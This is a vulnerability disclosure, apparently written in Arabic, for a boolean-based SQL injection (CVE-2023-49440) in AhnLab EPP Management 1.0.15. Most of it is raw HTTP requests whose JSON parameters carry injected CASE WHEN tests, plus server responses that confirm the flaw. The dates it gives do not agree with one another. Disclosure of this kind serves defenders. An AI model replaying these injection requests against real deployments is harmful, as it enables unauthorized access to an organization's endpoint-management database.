
إثبات مفهوم (PoC) لثغرة حقن SQL من النوع المنطقي (Boolean-based) في نظام AhnLab EPP Management تؤدي إلى تنفيذ تعليمات برمجية عن بُعد، مع أمثلة للطلبات والاستجابات لإعادة إنتاج الثغرة.
عنوان الاستغلال: ***AhnLab EPP Management (الإدارة المركزية لأمن نقاط النهاية) - حقن SQL القائم على القيم المنطقية (Boolean-based) الذي أدى إلى تنفيذ تعليمات برمجية عن بُعد (RCE)***
التاريخ: 16 يوليو 2023
CVE : CVE-2023-49440
الصفحة الرئيسية للمورّد: https://www.ahnlab.com/en
رابط البرنامج:https://www.ahnlab.com/ko/product/epp-management
مراجعة المنتج:https://www.gartner.com/reviews/market/endpoint-protection-platforms/compare/product/ahnlab-edr-vs-ahnlab-epp
الرابط المرجعي: https://www.cve.org/CVERecord?id=CVE-2023-49440
الإصدار المتأثر: 1.0.15 وما قبله
الإصدار المُصحَّح: الإصدارات اللاحقة للإصدار 1.0.15 الصادرة (2023)
***وصف الثغرة والمنتج***:
تُعد AhnLab EPP Management منصة حماية متقدمة من الجيل التالي لنقاط النهاية، وهي معترَف بها عالميًا، وتدمج بين إدارة الترقيعات، والكشف المتقدم عن البرمجيات الخبيثة، وقدرات EDR وXDR لتوفير إدارة مركزية ومراقبة لحظية وتحكم في السياسات عبر نقاط نهاية المؤسسات. اكتُشفت ثغرة حقن SQL قائمة على القيم المنطقية (Boolean-based) وقائمة على الوقت (time-based) في واجهة الإدارة على الويب الخاصة بـ AhnLab EPP Management الإصدار v1.0.15، الأمر الذي أدى إلى اختراق كامل لقاعدة البيانات الخلفية بصلاحيات إدارية وتنفيذ محدود للتعليمات البرمجية عن بُعد (RCE). كانت عدة نقاط نهاية عرضةً لثغرة حقن SQL القائمة على القيم المنطقية، مثل معامل **Preview*** ضمن JSON وغيرها. تم تصحيح جميع نقاط النهاية المتأثرة في الإصدارات اللاحقة للإصدار v1.0.15، وطُبقت الإصلاحات في عام 2023.
***هذا دليل على إعادة إنتاج ثغرة حقن SQL القائمة على القيم المنطقية في AhnLab EPP Management. ومع ذلك، لن أصدر الكود الاستغلالي (PoC) المكتوب بلغة Python لأسباب أمنية حتى العام القادم، وقد تم تصحيح الإصدار المتأثر منذ أكثر من عامين***
POST /api/console/ems/query/report/preview HTTP/1.1
Host: 192.168.100.199:8803
Cookie: lang_set=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: application/json; charset=utf-8
Accept-Language: de-CA,en-US;q=0.5,vi;q=0.3
Accept-Encoding: gzip, deflate
Authorization: bearer<Token>
Content-Type: application/json; charset=utf-8
Content-Length: 180
Origin: https://192.168.100.199:8803
Referer: https://192.168.100.199:8803/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{
"request": {
"action": "preview_query_report",
"revision": 1,
"params": [
"RDB",
"(SELECT CONCAT(CONCAT('apple',(CASE WHEN (1010=1010) THEN '1' ELSE '0' END)),'mango'))" a"
]
},
"data": []
}
HTTP/1.1 200
strict-transport-security: max-age=0
x-frame-options: DENY
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
content-type: application/json; charset=utf-8
content-length: 135
date: 21 may 2023 11:48:00 GMT
cache-control: no-cache, no-store, no-control
connection: close
{
"error_code": "EPP-00000",
"error_msg": "success",
"revision": 1,
"response": [
{
"report": "[{\"concat\":\"applemango\"}]",
"item_order": 1
}
]
}
POST /api/console/ems/query/report/preview HTTP/1.1
Host: 192.168.100.199:8803
Cookie: lang_set=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json;charset=utf-8
Accept-Language: de-CA,en-US;q=0.5,vi;q=0.3
Accept-Encoding: gzip, deflate, br
Authorization: bearer <Token>
Content-Type: application/json;charset=utf-8
Content-Length: 241
Origin: https://192.168.100.199:8803
Referer: https://192.168.100.199:8803/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{
"request": {
"action": "preview_query_report",
"revision": "1",
"params": [
"RDB",
"1",
"(SELECT CONCAT(CONCAT('apple', (CASE WHEN (1337=1337) THEN '1' ELSE '0' END)), 'mango'))"
]
},
"data": {
"extract_key": "<Key>="
}
}
HTTP/1.1 200
strict-transport-security: max-age=0
x-frame-options: DENY
x-content-type-options: nosniff
content-type: application/json;charset=utf-8
content-length: 181
date: 16 Sept 2023 10:28:10 GMT
cache-control: no-cache,no-store,no-control
connection: close
{
"error_code": "SWU-00027",
"error_msg": "[SWU-00027] Conceal key expired. : \"\\\"extract_key\\\":\\\"<Key>=\\\"\"",
"revision": 1,
"response": [
]
}